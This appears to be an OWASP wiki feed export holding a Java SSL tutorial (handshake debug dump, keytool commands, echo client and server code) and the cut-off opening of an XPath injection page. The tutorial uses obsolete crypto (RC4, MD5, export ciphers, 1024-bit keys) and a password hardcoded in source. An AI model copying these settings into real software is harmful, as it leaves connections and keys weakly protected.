Cipher Suites: [SSL_RSA_WITH_RC4_128_MD5, SSL_RSA_WITH_RC4_128_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_DHE_RSA_WITH_AES_128_CBC_SHA, TLS_DHE_DSS_WITH_AES_128_CBC_SHA, SSL_RSA_WITH_3DES_EDE_CBC_SHA, SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA, SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA, SSL_RSA_WITH_DES_CBC_SHA, SSL_DHE_RSA_WITH_DES_CBC_SHA, SSL_DHE_DSS_WITH_DES_CBC_SHA, SSL_RSA_EXPORT_WITH_RC4_40_MD5, SSL_RSA_EXPORT_WITH_DES40_CBC_SHA, SSL_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA, SSL_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA]&lt;br /&gt;
Compression Methods:  { 0 }&lt;br /&gt;
	S -&amp;gt; C {ver || randomcookie2 || session_id || cipher || compression }&lt;br /&gt;
*** ServerHello, TLSv1&lt;br /&gt;
RandomCookie:  GMT: 1165141617 bytes = { 33, 91, 78, 189, 156, 183, 142, 253, 119, 155, 22, 193, 46, 0, 50, 153, 168, 170, 19, 220, 68, 97, 98, 3, 36, 228, 103, 117 }&lt;br /&gt;
Session ID:  {69, 115, 166, 113, 102, 3, 65, 68, 227, 239, 225, 34, 115, 49, 73, 69, 174, 111, 222, 219, 119, 162, 5, 11, 77, 149, 181, 24, 38, 98, 5, 204}&lt;br /&gt;
Cipher Suite: SSL_RSA_WITH_RC4_128_MD5&lt;br /&gt;
Compression Method: 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
====Round 2 : Server authenticates itself====&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	S -&amp;gt; C {server_cert}&lt;br /&gt;
***&lt;br /&gt;
%% Created:  [Session-1, SSL_RSA_WITH_RC4_128_MD5]&lt;br /&gt;
** SSL_RSA_WITH_RC4_128_MD5&lt;br /&gt;
[read] MD5 and SHA1 hashes:  len = 74&lt;br /&gt;
0000: 02 00 00 46 03 01 45 73   A6 71 21 5B 4E BD 9C B7  ...F..Es.q![N...&lt;br /&gt;
0010: 8E FD 77 9B 16 C1 2E 00   32 99 A8 AA 13 DC 44 61  ..w.....#....Da&lt;br /&gt;
0020: 62 03 24 E4 67 75 20 45   73 A6 71 66 03 41 44 E3  b.$.gu Es.qf.AD.&lt;br /&gt;
0030: EF E1 22 73 31 49 45 AE   6F DE DB 77 A2 05 0B 4D  ..&amp;quot;s1IE.o..w...M&lt;br /&gt;
0040: 95 B5 18 26 62 05 CC 00   04 00                    ...&amp;amp;b.....&lt;br /&gt;
&lt;br /&gt;
	S -&amp;gt; C {public key modulus || exponent || {hash (randomcookie1 || randomcookie2 || public key modulus || exponent )} signed by Server}&lt;br /&gt;
*** Certificate chain&lt;br /&gt;
chain [0] = [&lt;br /&gt;
[&lt;br /&gt;
  Version: V1&lt;br /&gt;
  Subject: CN=Jane P, OU=Network Admins, O=NewCo, L=Denver, ST=CO, C=US&lt;br /&gt;
  Signature Algorithm: MD5withRSA, OID = ######4&lt;br /&gt;
&lt;br /&gt;
  Key:  Sun RSA public key, 1024 bits&lt;br /&gt;
  modulus: 125799608853960565468693082080524019040787802862173204033354805928537584240351554241990082493719007271501637788649255493925650447292814949263542483518710211756489915623917992726468465059340034326131973495929283930754477403752766287367308326998219377123365800989254595407827915805528431637337980240073881550879&lt;br /&gt;
  public exponent: 65537&lt;br /&gt;
  Validity: [From: Sun Nov 26 06:33:42 EST 2006,&lt;br /&gt;
               To: Wed Apr 12 07:33:42 EDT 2034]&lt;br /&gt;
  Issuer: CN=Jane P, OU=Network Admins, O=NewCo, L=Denver, ST=CO, C=US&lt;br /&gt;
  SerialNumber: [    45697b96]&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
  Algorithm: [MD5withRSA]&lt;br /&gt;
  Signature:&lt;br /&gt;
0000: 1A 35 AD 99 24 0A 8C 09   58 0C FC B4 B3 F8 3F DC  .#.$...X.....?.&lt;br /&gt;
0010: 44 BF 56 A2 3A 5D E5 DF   0D CF D2 59 51 F2 6E 1C  D.V.:].....YQ.n.&lt;br /&gt;
0020: 2A C0 03 9B 7C 3F 8B 53   C8 E9 16 A7 BC 28 23 C1  *....?.S.....(#.&lt;br /&gt;
0030: 67 F3 E4 05 D9 55 13 65   2E E3 80 BA A3 0A 9C F6  g....U.e........&lt;br /&gt;
0040: A1 50 46 90 D7 E0 8F 50   6C E4 00 5D 3F F8 D0 62  .PF....Pl..]?..b&lt;br /&gt;
0050: D2 A9 47 DF 65 3B 02 E8   1C 04 8A 3C 7B 19 B3 EB  ..G.e;.....&amp;lt;....&lt;br /&gt;
0060: B6 50 23 6E C6 8A 49 95   6E 38 70 D2 2B 40 31 A5  .P#n..I.n8p.+@#&lt;br /&gt;
0070: FE 3F 44 EF 3A E4 12 69   46 D1 4F A0 83 40 F7 F3  .?D.:..iF.O..@..&lt;br /&gt;
]&lt;br /&gt;
***&lt;br /&gt;
	S -&amp;gt; C { cert_type || good_cert_authorities}&lt;br /&gt;
	S -&amp;gt; C {end_round_2}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
====Round 3 : Client validates the Server certificate====&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	C -&amp;gt; S {client_cert}&lt;br /&gt;
	C -&amp;gt; S {pre master secret} &lt;br /&gt;
*** ClientKeyExchange, RSA PreMasterSecret, TLSv1&lt;br /&gt;
Random Secret:  { 3, 1, 161, 37, 5, 17, 154, 202, 73, 33, 75, 50, 61, 242, 44, 252, 232, 80, 161, 185, 2, 61, 154, 54, 177, 192, 141, 235, 95, 174, 219, 216, 251, 150, 189, 99, 188, 180, 15, 253, 28, 168, 85, 124, 17, 124, 218, 101 }&lt;br /&gt;
	C -&amp;gt; S {hash(master secret || padding value || hash(messages || master secret || padding value))}&lt;br /&gt;
    where messages refers to concatenation messages exchanged from 1 through #&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
====Round 4 : Acknowledgment between Client and the Server====&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	The client updates the session and connection information to reflect the cipher it uses and then sends a “finished” message&lt;br /&gt;
SESSION KEYGEN:&lt;br /&gt;
PreMaster Secret:&lt;br /&gt;
0000: 03 01 A1 25 05 11 9A CA   49 21 4B 32 3D F2 2C FC  ...%....I!K2=.,.&lt;br /&gt;
0010: E8 50 A1 B9 02 3D 9A 36   B1 C0 8D EB 5F AE DB D8  .P...=.#..._...&lt;br /&gt;
0020: FB 96 BD 63 BC B4 0F FD   1C A8 55 7C 11 7C DA 65  ...c......U....e&lt;br /&gt;
CONNECTION KEYGEN:&lt;br /&gt;
Client Nonce:&lt;br /&gt;
0000: 45 73 A6 71 FA 14 8E E7   8F 4E 48 34 FE 2E C7 27  Es.q.....NH#..'&lt;br /&gt;
0010: 92 17 EE 05 6C AB 4B C0   4E AD 1A 97 59 56 3A C5  ....l.K.N...YV:.&lt;br /&gt;
Server Nonce:&lt;br /&gt;
0000: 45 73 A6 71 21 5B 4E BD   9C B7 8E FD 77 9B 16 C1  Es.q![N.....w...&lt;br /&gt;
0010: 2E 00 32 99 A8 AA 13 DC   44 61 62 03 24 E4 67 75  ..#....Dab.$.gu&lt;br /&gt;
Master Secret:&lt;br /&gt;
0000: B5 AF 35 36 65 B8 2E A9   F0 5C C1 A7 BD 85 98 92  ..56e....\......&lt;br /&gt;
0010: 64 61 B6 B9 7D 86 AB C7   72 CA 67 9A E1 C1 C4 3F  da......r.g....?&lt;br /&gt;
0020: C5 8B 67 1A 49 C9 6E B2   FC AB 65 96 EA 7E 67 8C  ..g.I.n...e...g.&lt;br /&gt;
Client MAC write Secret:&lt;br /&gt;
0000: A4 C0 36 E3 9A D3 8B 67   AA 51 D6 78 59 BF 0A 5E  ..#...g.Q.xY..^&lt;br /&gt;
Server MAC write Secret:&lt;br /&gt;
0000: F7 D0 65 1D 4C 0E 81 0F   1F 76 86 D7 91 68 37 50  ..e.L....v...h7P&lt;br /&gt;
Client write key:&lt;br /&gt;
0000: A6 C5 F0 7D FE 1C 0E 58   85 00 A5 02 AE 08 B5 0E  .......X........&lt;br /&gt;
Server write key:&lt;br /&gt;
0000: 20 D3 07 A2 02 02 34 67   2C C3 5A 50 7C 0F 87 CB   .....4g,.ZP....&lt;br /&gt;
... no IV for cipher&lt;br /&gt;
[read] MD5 and SHA1 hashes:  len = 134&lt;br /&gt;
0000: 10 00 00 82 00 80 10 D4   F8 1C 1D 96 62 B2 59 DD  ............b.Y.&lt;br /&gt;
0010: D6 F8 F1 0F A5 5E 75 0F   4F 3D 5B 56 2C 6A 24 FD  .....^u.O=[V,j$.&lt;br /&gt;
0020: 4A 90 D4 3A F3 3F 7E 22   D2 00 18 3B 7D 3F CD 02  J..:.?.&amp;quot;...;.?..&lt;br /&gt;
0030: 0C E1 11 7C 12 59 D8 A3   85 8D CB 23 B7 90 1C 59  .....Y.....#...Y&lt;br /&gt;
0040: 94 65 5F 7E 8E 46 6D A9   7D FC 54 5D 81 DC 69 82  .e_..Fm...T]..i.&lt;br /&gt;
0050: 1A EE 1A A5 F1 52 66 A6   43 34 EE E0 F7 12 36 CF  .....Rf.C#...#&lt;br /&gt;
0060: 7A 38 48 5A C9 8E 11 CB   AE 7A 36 2D FD 0B CD 1A  z8HZ.....z6-....&lt;br /&gt;
0070: 0B F1 45 1E C6 71 D9 57   39 80 75 BF D6 68 43 15  ..E..q.W#u..hC.&lt;br /&gt;
0080: FE 4D 67 DC 2F BD                                  .Mg./.&lt;br /&gt;
[Raw read]: length = 5&lt;br /&gt;
0000: 14 03 01 00 01                                     .....&lt;br /&gt;
[Raw read]: length = 1&lt;br /&gt;
0000: 01                                                 .&lt;br /&gt;
main, READ: TLSv1 Change Cipher Spec, length = 1&lt;br /&gt;
[Raw read]: length = 5&lt;br /&gt;
0000: 16 03 01 00 20                                     ....&lt;br /&gt;
[Raw read]: length = 32&lt;br /&gt;
0000: C7 D8 CC 69 F7 F7 7F 00   29 F6 23 C8 DD 11 50 33  ...i....).#...P3&lt;br /&gt;
0010: 89 BB 91 21 BD 05 24 8C   5B 77 33 9D 78 0A B4 3C  ...!..$.[w#x..&amp;lt;&lt;br /&gt;
main, READ: TLSv1 Handshake, length = 32&lt;br /&gt;
Padded plaintext after DECRYPTION:  len = 32&lt;br /&gt;
0000: 14 00 00 0C 01 B0 24 0D   BC AD E7 E9 DC CB E4 17  ......$.........&lt;br /&gt;
0010: F9 FF 44 03 B2 00 37 12   9C A2 16 62 2E 9E 3C 33  ..D...#...b..&amp;lt;3&lt;br /&gt;
*** Finished&lt;br /&gt;
verify_data:  { 1, 176, 36, 13, 188, 173, 231, 233, 220, 203, 228, 23 }&lt;br /&gt;
&lt;br /&gt;
	Server responds back with a “change cipher spec” message and updates its session and connection information accordingly and sends a finish message.&lt;br /&gt;
SESSION KEYGEN:&lt;br /&gt;
PreMaster Secret:&lt;br /&gt;
0000: 03 01 A1 25 05 11 9A CA   49 21 4B 32 3D F2 2C FC  ...%....I!K2=.,.&lt;br /&gt;
0010: E8 50 A1 B9 02 3D 9A 36   B1 C0 8D EB 5F AE DB D8  .P...=.#..._...&lt;br /&gt;
0020: FB 96 BD 63 BC B4 0F FD   1C A8 55 7C 11 7C DA 65  ...c......U....e&lt;br /&gt;
CONNECTION KEYGEN:&lt;br /&gt;
Client Nonce:&lt;br /&gt;
0000: 45 73 A6 71 FA 14 8E E7   8F 4E 48 34 FE 2E C7 27  Es.q.....NH#..'&lt;br /&gt;
0010: 92 17 EE 05 6C AB 4B C0   4E AD 1A 97 59 56 3A C5  ....l.K.N...YV:.&lt;br /&gt;
Server Nonce:&lt;br /&gt;
0000: 45 73 A6 71 21 5B 4E BD   9C B7 8E FD 77 9B 16 C1  Es.q![N.....w...&lt;br /&gt;
0010: 2E 00 32 99 A8 AA 13 DC   44 61 62 03 24 E4 67 75  ..#....Dab.$.gu&lt;br /&gt;
Master Secret:&lt;br /&gt;
0000: B5 AF 35 36 65 B8 2E A9   F0 5C C1 A7 BD 85 98 92  ..56e....\......&lt;br /&gt;
0010: 64 61 B6 B9 7D 86 AB C7   72 CA 67 9A E1 C1 C4 3F  da......r.g....?&lt;br /&gt;
0020: C5 8B 67 1A 49 C9 6E B2   FC AB 65 96 EA 7E 67 8C  ..g.I.n...e...g.&lt;br /&gt;
Client MAC write Secret:&lt;br /&gt;
0000: A4 C0 36 E3 9A D3 8B 67   AA 51 D6 78 59 BF 0A 5E  ..#...g.Q.xY..^&lt;br /&gt;
Server MAC write Secret:&lt;br /&gt;
0000: F7 D0 65 1D 4C 0E 81 0F   1F 76 86 D7 91 68 37 50  ..e.L....v...h7P&lt;br /&gt;
Client write key:&lt;br /&gt;
0000: A6 C5 F0 7D FE 1C 0E 58   85 00 A5 02 AE 08 B5 0E  .......X........&lt;br /&gt;
Server write key:&lt;br /&gt;
0000: 20 D3 07 A2 02 02 34 67   2C C3 5A 50 7C 0F 87 CB   .....4g,.ZP....&lt;br /&gt;
... no IV for cipher&lt;br /&gt;
main, WRITE: TLSv1 Change Cipher Spec, length = 1&lt;br /&gt;
[Raw write]: length = 6&lt;br /&gt;
0000: 14 03 01 00 01 01                                  ......&lt;br /&gt;
*** Finished&lt;br /&gt;
verify_data:  { 1, 176, 36, 13, 188, 173, 231, 233, 220, 203, 228, 23 }&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Once the handshake is complete, secure communication can commence.&lt;br /&gt;
&lt;br /&gt;
==The Need for Keytool==&lt;br /&gt;
The server needs to generate a certificate and a private key associated with its certificate. This certificate would be sent to the clients who wishes to communicate with the server. These functionalities of Key generation, Key management , certificate management are taken care by a tool provided by Sun known as keytool. Keytool uses keystores to store the public / private keys as well as certificates. &lt;br /&gt;
keystores are datastores implemented as files. Private keys are protected with passwords.&lt;br /&gt;
&lt;br /&gt;
===Algorithms supported by Keytool===&lt;br /&gt;
Keytool supports any algorithm implemented by the registered cryptographic service providers. Default key pair generation algorithm is DSA with a keysize of 1024 bits. The signature algorithm is derived from the algorithm of the private keys. DSA gets coupled with SHA1 by default and so &amp;quot;SHA1withDSA&amp;quot; would be used. RSA gets coupled with MD5 and so &amp;quot;MD5withRSA&amp;quot; would be used.&lt;br /&gt;
&lt;br /&gt;
===Some of the frequently used functions of keytool are:===&lt;br /&gt;
==== Generating keys using keytools====&lt;br /&gt;
Key pairs can be generated using keytool with the following command and options&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$bash # keytool -genkey -alias testkey -keystore testkeystore.ks&lt;br /&gt;
Enter keystore password:  testpwd&lt;br /&gt;
What is your first and last name?&lt;br /&gt;
  [Unknown]:  Tom&lt;br /&gt;
What is the name of your organizational unit?&lt;br /&gt;
  [Unknown]:  security&lt;br /&gt;
What is the name of your organization?&lt;br /&gt;
  [Unknown]:  ABC Inc&lt;br /&gt;
What is the name of your City or Locality?&lt;br /&gt;
  [Unknown]:  Fort Meade&lt;br /&gt;
What is the name of your State or Province?&lt;br /&gt;
  [Unknown]:  MA&lt;br /&gt;
What is the two-letter country code for this unit?&lt;br /&gt;
  [Unknown]:  US&lt;br /&gt;
Is CN=Tom, OU=security, O=ABC Inc, L=Fort Meade, ST=MA, C=US correct?&lt;br /&gt;
  [no]:  y&lt;br /&gt;
&lt;br /&gt;
Enter key password for &amp;lt;testkey&amp;gt;&lt;br /&gt;
        (RETURN if same as keystore password):&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* The option ''-genkey'' is used to generate the keys. &lt;br /&gt;
* ''-alias'' specifies the name of the key. This can be verified by the command keytool -list -keystore testkeystore.ks&lt;br /&gt;
* ''-keystore'' is the name of the keystore to where the key needs to be added. If no keystore name is specified, the generated keys will be added to the default keystore. The default keystore gets autogenerated when the first key is created and is  located in the users home directory with an &amp;quot;.keystore&amp;quot; extension.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following defaults would be applied during the genkey process:&lt;br /&gt;
		* keyalg - defaults to DSA&lt;br /&gt;
		* keysize - defaults to 1024 bits&lt;br /&gt;
		* validity - defaults to 90 days&lt;br /&gt;
&lt;br /&gt;
====Importing certificates into keystore from .cer files====&lt;br /&gt;
A certificate represented usually by a .cer file is imported into the keystore so that it gets added to the list of trusted certificates.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$bash # keytool -import -keystore testkeystore.ks -file ssltest.cer&lt;br /&gt;
Enter keystore password:  testpwd&lt;br /&gt;
Owner: CN=Jane P, OU=Network Admins, O=NewCo, L=Denver, ST=CO, C=US&lt;br /&gt;
Issuer: CN=Jane P, OU=Network Admins, O=NewCo, L=Denver, ST=CO, C=US&lt;br /&gt;
Serial number: 45697b96&lt;br /&gt;
Valid from: Sun Nov 26 06:33:42 EST 2006 until: Wed Apr 12 07:33:42 EDT 2034&lt;br /&gt;
Certificate fingerprints:&lt;br /&gt;
         MD5:  BD:AA:A5:77:AC:92:17:0E:D3:6E:E2:8F:2B:12:A5:6C&lt;br /&gt;
         SHA1: 2F:BF:88:E1:2F:26:B9:C3:64:5E:C5:7F:F4:BF:43:7F:37:3D:BE:C5&lt;br /&gt;
Trust this certificate? [no]:  yes&lt;br /&gt;
Certificate was added to keystore&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The certificate ssltest.cer is successfully imported into the keystore. The serial number generated is unique to this certificate and is useful during certificate revocations. When a certificate is revoked, the serial number gets added to the CRL (Certificate revocation list).&lt;br /&gt;
'''Warning:'''&lt;br /&gt;
'''Before importing a certificate, validate if the certificate really belongs to the entity it claims to represent.'''&lt;br /&gt;
====Use the keytool -printcert -file ssltest.cer to view the contents of the certificate====&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$bash # keytool -printcert -file ssltest.cer&lt;br /&gt;
Owner: CN=Jane P, OU=Network Admins, O=NewCo, L=Denver, ST=CO, C=US&lt;br /&gt;
Issuer: CN=Jane P, OU=Network Admins, O=NewCo, L=Denver, ST=CO, C=US&lt;br /&gt;
Serial number: 45697b96&lt;br /&gt;
Valid from: Sun Nov 26 06:33:42 EST 2006 until: Wed Apr 12 07:33:42 EDT 2034&lt;br /&gt;
Certificate fingerprints:&lt;br /&gt;
         MD5:  BD:AA:A5:77:AC:92:17:0E:D3:6E:E2:8F:2B:12:A5:6C&lt;br /&gt;
         SHA1: 2F:BF:88:E1:2F:26:B9:C3:64:5E:C5:7F:F4:BF:43:7F:37:3D:BE:C5&lt;br /&gt;
&lt;br /&gt;
# Verify from the Issuer of the certificate if the Certificate fingerprint matches.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Exporting certificates from keystore to files====&lt;br /&gt;
To export a certificate from a keystore to a file, the following command could be used&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$bash # keytool -export -alias testkey -keystore testkeystore.ks -file testkey.cer&lt;br /&gt;
Enter keystore password:  testpwd&lt;br /&gt;
Certificate stored in file &amp;lt;testkey.cer&amp;gt;&lt;br /&gt;
Now you can verify the contents of the exported certificate using the command.&lt;br /&gt;
$bash # keytool -printcert -file testkey.cer&lt;br /&gt;
Owner: CN=Tom, OU=security, O=ABC Inc, L=Fort Meade, ST=MA, C=US&lt;br /&gt;
Issuer: CN=Tom, OU=security, O=ABC Inc, L=Fort Meade, ST=MA, C=US&lt;br /&gt;
Serial number: 45736152&lt;br /&gt;
Valid from: Sun Dec 03 18:44:18 EST 2006 until: Sat Mar 03 18:44:18 EST 2007&lt;br /&gt;
Certificate fingerprints:&lt;br /&gt;
         MD5:  8F:D3:EA:E7:B0:CF:9C:03:16:2F:3F:C9:6C:BC:5A:D4&lt;br /&gt;
         SHA1: 03:2B:C6:BD:D9:82:31:08:F1:88:3C:35:AD:8D:F9:C3:90:5E:53:6F&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==Examples==&lt;br /&gt;
===SSLClient.java===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
package org.owasp.crypto;&lt;br /&gt;
&lt;br /&gt;
import java.io.*;&lt;br /&gt;
&lt;br /&gt;
import javax.net.ssl.*;&lt;br /&gt;
import com.sun.net.ssl.*;&lt;br /&gt;
import com.sun.net.ssl.internal.ssl.Provider;&lt;br /&gt;
import java.security.Security;&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * @author Joe Prasanna Kumar&lt;br /&gt;
 * This program simulates a client socket program which communicates with the SSL Server&lt;br /&gt;
 * &lt;br /&gt;
 * Algorithm:&lt;br /&gt;
 * 1. Determine the SSL Server Name and port in which the SSL server is listening&lt;br /&gt;
 * 2. Register the JSSE provider&lt;br /&gt;
 * 3. Create an instance of SSLSocketFactory&lt;br /&gt;
 * 4. Create an instance of SSLSocket&lt;br /&gt;
 * 5. Create an OutputStream object to write to the SSL Server&lt;br /&gt;
 * 6. Create an InputStream object to receive messages back from the SSL Server&lt;br /&gt;
 * &lt;br /&gt;
 */ &lt;br /&gt;
&lt;br /&gt;
public class SSLClient {&lt;br /&gt;
&lt;br /&gt;
	/**&lt;br /&gt;
	 * @param args&lt;br /&gt;
	 */&lt;br /&gt;
	public static void main(String[] args) throws Exception{&lt;br /&gt;
		String strServerName = &amp;quot;localhost&amp;quot;; // SSL Server Name&lt;br /&gt;
		int intSSLport = 4443; // Port where the SSL Server is listening&lt;br /&gt;
		PrintWriter out = null;&lt;br /&gt;
        BufferedReader in = null;&lt;br /&gt;
&lt;br /&gt;
		{&lt;br /&gt;
			// Registering the JSSE provider&lt;br /&gt;
			Security.addProvider(new Provider());&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		try {&lt;br /&gt;
			// Creating Client Sockets&lt;br /&gt;
			SSLSocketFactory sslsocketfactory = (SSLSocketFactory)SSLSocketFactory.getDefault();&lt;br /&gt;
			SSLSocket sslSocket = (SSLSocket)sslsocketfactory.createSocket(strServerName,intSSLport);&lt;br /&gt;
&lt;br /&gt;
         	// Initializing the streams for Communication with the Server&lt;br /&gt;
         	out = new PrintWriter(sslSocket.getOutputStream(), true);&lt;br /&gt;
         	in = new BufferedReader(new InputStreamReader(sslSocket.getInputStream()));&lt;br /&gt;
&lt;br /&gt;
			BufferedReader stdIn = new BufferedReader(new InputStreamReader(System.in));&lt;br /&gt;
			String userInput = &amp;quot;Hello Testing &amp;quot;;&lt;br /&gt;
			out.println(userInput);&lt;br /&gt;
&lt;br /&gt;
			while ((userInput = stdIn.readLine()) != null) {&lt;br /&gt;
			    out.println(userInput);&lt;br /&gt;
			    System.out.println(&amp;quot;echo: &amp;quot; + in.readLine());&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
				out.println(userInput);&lt;br /&gt;
&lt;br /&gt;
				// Closing the Streams and the Socket&lt;br /&gt;
				out.close();&lt;br /&gt;
				in.close();&lt;br /&gt;
				stdIn.close();&lt;br /&gt;
				sslSocket.close();&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		catch(Exception exp)&lt;br /&gt;
		{&lt;br /&gt;
			System.out.println(&amp;quot; Exception occurred .... &amp;quot; +exp);&lt;br /&gt;
			exp.printStackTrace();&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===SSLServer.java===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
package org.owasp.crypto;&lt;br /&gt;
&lt;br /&gt;
import java.io.*;&lt;br /&gt;
import java.security.Security;&lt;br /&gt;
import java.security.PrivilegedActionException;&lt;br /&gt;
&lt;br /&gt;
import javax.net.ssl.*;&lt;br /&gt;
import com.sun.net.ssl.*;&lt;br /&gt;
import com.sun.net.ssl.internal.ssl.Provider;&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * @author Joe Prasanna Kumar&lt;br /&gt;
 * This program simulates an SSL Server listening on a specific port for client requests&lt;br /&gt;
 * &lt;br /&gt;
 * Algorithm:&lt;br /&gt;
 * 1. Regsiter the JSSE provider&lt;br /&gt;
 * 2. Set System property for keystore by specifying the keystore which contains the server certificate&lt;br /&gt;
 * 3. Set System property for the password of the keystore which contains the server certificate&lt;br /&gt;
 * 4. Create an instance of SSLServerSocketFactory&lt;br /&gt;
 * 5. Create an instance of SSLServerSocket by specifying the port to which the SSL Server socket needs to bind with&lt;br /&gt;
 * 6. Initialize an object of SSLSocket&lt;br /&gt;
 * 7. Create InputStream object to read data sent by clients&lt;br /&gt;
 * 8. Create an OutputStream object to write data back to clients.&lt;br /&gt;
 * &lt;br /&gt;
 */ &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
public class SSLServer {&lt;br /&gt;
&lt;br /&gt;
	/**&lt;br /&gt;
	 * @param args&lt;br /&gt;
	 */&lt;br /&gt;
&lt;br /&gt;
	public static void main(String[] args) throws Exception{&lt;br /&gt;
&lt;br /&gt;
		int intSSLport = 4443; // Port where the SSL Server needs to listen for new requests from the client&lt;br /&gt;
&lt;br /&gt;
		{&lt;br /&gt;
			// Registering the JSSE provider&lt;br /&gt;
			Security.addProvider(new Provider());&lt;br /&gt;
&lt;br /&gt;
			//Specifying the Keystore details&lt;br /&gt;
			System.setProperty(&amp;quot;javax.net.ssl.keyStore&amp;quot;,&amp;quot;server.ks&amp;quot;);&lt;br /&gt;
			System.setProperty(&amp;quot;javax.net.ssl.keyStorePassword&amp;quot;,&amp;quot;JsEkey@4&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
			// Enable debugging to view the handshake and communication which happens between the SSLClient and the SSLServer&lt;br /&gt;
			// System.setProperty(&amp;quot;javax.net.debug&amp;quot;,&amp;quot;all&amp;quot;);&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		try {&lt;br /&gt;
				// Initialize the Server Socket&lt;br /&gt;
				SSLServerSocketFactory sslServerSocketfactory = (SSLServerSocketFactory)SSLServerSocketFactory.getDefault();&lt;br /&gt;
				SSLServerSocket sslServerSocket = (SSLServerSocket)sslServerSocketfactory.createServerSocket(intSSLport);&lt;br /&gt;
				SSLSocket sslSocket = (SSLSocket)sslServerSocket.accept();&lt;br /&gt;
&lt;br /&gt;
				// Create Input / Output Streams for communication with the client&lt;br /&gt;
				while(true)&lt;br /&gt;
				{&lt;br /&gt;
				PrintWriter out = new PrintWriter(sslSocket.getOutputStream(), true);&lt;br /&gt;
		        BufferedReader in = new BufferedReader(&lt;br /&gt;
						new InputStreamReader(&lt;br /&gt;
								sslSocket.getInputStream()));&lt;br /&gt;
		        String inputLine, outputLine;&lt;br /&gt;
&lt;br /&gt;
		        while ((inputLine = in.readLine()) != null) {&lt;br /&gt;
		             out.println(inputLine);&lt;br /&gt;
		             System.out.println(inputLine);&lt;br /&gt;
		        }&lt;br /&gt;
&lt;br /&gt;
		        // Close the streams and the socket&lt;br /&gt;
		        out.close();&lt;br /&gt;
		        in.close();&lt;br /&gt;
		        sslSocket.close();&lt;br /&gt;
		        sslServerSocket.close();&lt;br /&gt;
&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
		catch(Exception exp)&lt;br /&gt;
		{&lt;br /&gt;
			PrivilegedActionException priexp = new PrivilegedActionException(exp);&lt;br /&gt;
			System.out.println(&amp;quot; Priv exp --- &amp;quot; + priexp.getMessage());&lt;br /&gt;
&lt;br /&gt;
			System.out.println(&amp;quot; Exception occurred .... &amp;quot; +exp);&lt;br /&gt;
			exp.printStackTrace();&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* Computer Security – Arts and Science - Matt Bishop&lt;br /&gt;
* Core Security Patterns – Christopher Steele, Ray Lai and Ramesh Nagappan&lt;br /&gt;
* http://java.sun.com/j2se/##2/docs/tooldocs/windows/keytool.html&lt;br /&gt;
* http://blogs.borland.com/krish/archive/2005/07/28/#aspx&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XPATH_Injection_Java&amp;diff=235294</id>
		<title>XPATH Injection Java</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XPATH_Injection_Java&amp;diff=235294"/>
				<updated>2017-11-10T21:50:32Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Last revision (mm/dd/yy): '''08/14/2016'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Injection context ==&lt;br /&gt;
Some applications use XML based datastore and sometimes XPATH query language to retrieve data from theses stores. The application can construct XPATH query expression from user input in order to select user dedicated data.&lt;br /&gt;
&lt;br /&gt;
== Injection objective ==&lt;br /&gt;
The objective of the injection is to submit a piece of XPATH language that will change the normal behavior of the target expression in order to retrieve more or differents data than expected.&lt;br /&gt;
&lt;br /&gt;
== Injection examples ==&lt;br /&gt;
For the examples we will take a case of an application that store employees informations using XML store with this structure:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
